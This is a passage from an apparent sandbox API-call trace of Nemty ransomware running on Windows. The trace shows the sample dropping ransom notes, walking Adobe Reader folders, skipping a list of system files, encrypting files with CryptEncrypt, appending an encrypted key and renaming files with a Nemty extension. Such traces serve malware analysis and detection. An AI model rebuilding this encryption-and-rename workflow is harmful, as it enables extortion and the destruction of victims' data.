dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0183.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0183.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0183.746] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.746] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0183.747] CloseHandle (hObject=0x254) returned 1 [0183.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0183.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0183.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0183.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0183.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0183.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0183.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.748] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.749] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0183.749] CloseHandle (hObject=0x254) returned 1 [0183.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21294770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21294770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0183.750] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0183.750] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21294770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21294770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0183.750] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0183.750] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0183.750] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2=".") returned 1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="..") returned 1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="...") returned 1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="windows") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="rsa") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="NTDETECT.COM") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="ntldr") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="MSDOS.SYS") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="IO.SYS") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="boot.ini") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="boot.ini") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="AUTOEXEC.BAT") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="ntuser.dat") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="desktop.ini") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="CONFIG.SYS") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="RECYCLER") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="BOOTSECT.BAK") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="bootmgr") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="programdata") returned -1 [0183.750] lstrcmpiW (lpString1="Accessibility.SLV", lpString2="appdata") returned -1 [0183.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.SLV", lpUsedDefaultChar=0x0) returned 17 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.SLV", lpUsedDefaultChar=0x0) returned 17 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.SLV", lpUsedDefaultChar=0x0) returned 17 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.SLV", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.SLV", lpUsedDefaultChar=0x0) returned 17 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.751] Sleep (dwMilliseconds=0x5) [0183.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x212e0a30, dwHighDateTime=0x1d561e8)) [0183.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x212e0a30, dwHighDateTime=0x1d561e8)) [0183.772] GetLastError () returned 0xb7 [0183.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.772] GetLastError () returned 0xb7 [0183.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.772] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.772] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.772] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.773] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EIYzewUm6tqt5Ydi0OprYGZQYTEgRg0+KsgLE59xm7mye8WSQSS1U67Oh2OX5qnq\r\nfnc5eJ6AuSLYSTw2JPu3lZke6REW/523ApU84rJanlVkFYMpAoUWC70JLoMfbz4x\r\nuWLmNzGXpmZUkxicve6a7yway4Qmvs2BMy21eGh0ZOn8N/PrXT7MPzr3nuQ0D2X1\r\nUUQnSA6lKq9Rh05nyGGoeu2wbwZFs+qNU9iLnXyjZlwypBA3wXsHtTDMeLt7Xdv2\r\nM0Q6NbksOP7SfUaYlxviB6SeKVF4qVbiwfzDoZ+FPXkXRp1EbZoba/6askoBHtpl\r\nFHWRH0qo07z0P3Az4+VCjw==\r\n", pcchString=0x653e5dc) returned 1 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Accessibility.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\accessibility.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.773] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=42496) returned 1 [0183.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa600) returned 0x6352c48 [0183.773] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.773] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa600, lpOverlapped=0x0) returned 1 [0183.780] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.780] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa600, lpOverlapped=0x0) returned 1 [0183.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.780] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0183.780] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.780] CloseHandle (hObject=0x2e8) returned 1 [0183.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.781] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Accessibility.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\accessibility.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Accessibility.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\accessibility.slv._nemty_kgobjgd_")) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.782] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.SLV", cAlternateFileName="")) returned 1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2=".") returned 1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="..") returned 1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="...") returned 1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="windows") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="rsa") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="NTDETECT.COM") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="ntldr") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="MSDOS.SYS") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="IO.SYS") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="boot.ini") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="boot.ini") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="AUTOEXEC.BAT") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="ntuser.dat") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="desktop.ini") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="CONFIG.SYS") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="RECYCLER") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="BOOTSECT.BAK") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="bootmgr") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="programdata") returned -1 [0183.782] lstrcmpiW (lpString1="Acroform.SLV", lpString2="appdata") returned -1 [0183.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SLV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SLV", lpUsedDefaultChar=0x0) returned 12 [0183.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.783] Sleep (dwMilliseconds=0x5) [0183.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2132ccf0, dwHighDateTime=0x1d561e8)) [0183.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: 